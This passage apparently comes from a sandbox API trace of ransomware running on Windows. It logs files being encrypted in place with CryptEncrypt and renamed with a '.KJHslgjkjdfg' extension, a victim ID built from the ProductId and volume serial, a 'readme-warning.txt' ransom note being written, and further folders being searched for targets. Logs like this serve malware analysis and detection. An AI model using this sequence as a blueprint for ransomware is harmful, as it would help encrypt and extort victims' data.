lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0152.436] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0152.437] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0152.437] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0152.437] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0152.437] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0152.437] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0152.437] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.437] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.437] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5550, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5550, lpOverlapped=0x0) returned 1 [0152.438] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5550, dwBufLen=0x5550 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5550) returned 1 [0152.438] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.438] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5550, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5550, lpOverlapped=0x0) returned 1 [0152.439] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0152.439] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.439] SetEndOfFile (hFile=0x114) returned 1 [0152.442] GetProcessHeap () returned 0x2a0000 [0152.442] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0152.442] GetProcessHeap () returned 0x2a0000 [0152.442] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0152.442] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.kjhslgjkjdfg")) returned 1 [0152.445] CloseHandle (hObject=0x114) returned 1 [0152.446] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0152.446] GetProcessHeap () returned 0x2a0000 [0152.446] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0152.446] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0152.446] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f0a8 | out: pbData=0x2bf570, pdwDataLen=0x290f0a8) returned 1 [0152.446] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0152.446] GetProcessHeap () returned 0x2a0000 [0152.446] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0152.446] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0152.446] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f0a8 | out: pbData=0x2bf5b8, pdwDataLen=0x290f0a8) returned 1 [0152.446] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0152.446] GetProcessHeap () returned 0x2a0000 [0152.446] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f32d0 [0152.446] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0152.446] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f32d0, pdwDataLen=0x290f0a8 | out: pbData=0x2f32d0, pdwDataLen=0x290f0a8) returned 1 [0152.446] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0152.446] GetProcessHeap () returned 0x2a0000 [0152.446] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0152.447] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0152.447] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ec88 | out: pbData=0x2bf528, pdwDataLen=0x290ec88) returned 1 [0152.447] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0152.448] GetProcessHeap () returned 0x2a0000 [0152.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0152.448] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0152.448] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ec88 | out: pbData=0x2c1640, pdwDataLen=0x290ec88) returned 1 [0152.448] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0152.448] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ec84 | out: phkResult=0x290ec84*=0x114) returned 0x0 [0152.448] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ec90, lpcbData=0x290ec8c*=0x400 | out: lpType=0x0, lpData=0x290ec90*=0x30, lpcbData=0x290ec8c*=0x18) returned 0x0 [0152.448] RegCloseKey (hKey=0x114) returned 0x0 [0152.448] GetProcessHeap () returned 0x2a0000 [0152.448] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0152.448] GetProcessHeap () returned 0x2a0000 [0152.448] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0152.448] GetProcessHeap () returned 0x2a0000 [0152.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0152.449] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0152.449] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea5c | out: pbData=0x2c1640, pdwDataLen=0x290ea5c) returned 1 [0152.449] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0152.449] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0152.449] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0152.449] GetProcessHeap () returned 0x2a0000 [0152.449] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0152.449] wsprintfA (in: param_1=0x290eca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0152.449] wsprintfA (in: param_1=0x290f0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0152.449] GetProcessHeap () returned 0x2a0000 [0152.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f7720 [0152.449] wsprintfW (in: param_1=0x290e084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\readme-warning.txt") returned 70 [0152.449] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0152.450] WriteFile (in: hFile=0x114, lpBuffer=0x2f7720*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e080, lpOverlapped=0x0 | out: lpBuffer=0x2f7720*, lpNumberOfBytesWritten=0x290e080*=0x3b3, lpOverlapped=0x0) returned 1 [0152.452] CloseHandle (hObject=0x114) returned 1 [0152.452] GetProcessHeap () returned 0x2a0000 [0152.452] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0152.452] GetProcessHeap () returned 0x2a0000 [0152.452] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7720 | out: hHeap=0x2a0000) returned 1 [0152.452] GetProcessHeap () returned 0x2a0000 [0152.452] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0152.452] GetProcessHeap () returned 0x2a0000 [0152.452] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0152.452] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0152.453] GetProcessHeap () returned 0x2a0000 [0152.453] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0152.453] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Web Folders", cAlternateFileName="WEBFOL~1")) returned 1 [0152.453] GetProcessHeap () returned 0x2a0000 [0152.453] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x86) returned 0x2ed368 [0152.453] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0152.454] GetProcessHeap () returned 0x2a0000 [0152.454] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0152.454] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.454] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0152.454] GetProcessHeap () returned 0x2a0000 [0152.454] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x288) returned 0x2c7d48 [0152.454] GetProcessHeap () returned 0x2a0000 [0152.454] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x90) returned 0x2ef2d8 [0152.454] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0152.455] GetProcessHeap () returned 0x2a0000 [0152.455] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0152.455] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.455] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1 [0152.455] GetProcessHeap () returned 0x2a0000 [0152.455] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x292) returned 0x2f32d0 [0152.455] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 0 [0152.455] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0152.455] GetProcessHeap () returned 0x2a0000 [0152.455] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0152.455] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1 [0152.456] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 0 [0152.456] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0152.456] GetProcessHeap () returned 0x2a0000 [0152.456] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0152.456] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0152.456] GetProcessHeap () returned 0x2a0000 [0152.456] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x9a) returned 0x2ed148 [0152.456] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0152.457] GetProcessHeap () returned 0x2a0000 [0152.457] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0152.457] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.458] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="14", cAlternateFileName="")) returned 1 [0152.458] GetProcessHeap () returned 0x2a0000 [0152.458] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x29c) returned 0x2c7d48 [0152.458] GetProcessHeap () returned 0x2a0000 [0152.458] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa0) returned 0x2ed148 [0152.458] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0152.458] GetProcessHeap () returned 0x2a0000 [0152.458] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0152.458] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.458] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BIN", cAlternateFileName="")) returned 1 [0152.458] GetProcessHeap () returned 0x2a0000 [0152.458] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2a2) returned 0x2f32d0 [0152.458] GetProcessHeap () returned 0x2a0000 [0152.458] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa8) returned 0x2ed148 [0152.458] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0152.459] GetProcessHeap () returned 0x2a0000 [0152.459] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0152.460] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.460] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0152.460] GetProcessHeap () returned 0x2a0000 [0152.460] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2aa) returned 0x2f9730 [0152.460] GetProcessHeap () returned 0x2a0000 [0152.460] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xb2) returned 0x2f3738 [0152.460] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*.*", lpFindFileData=0x290eb68 | out: lpFindFileData=0x290eb68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6420 [0152.460] GetProcessHeap () returned 0x2a0000 [0152.460] 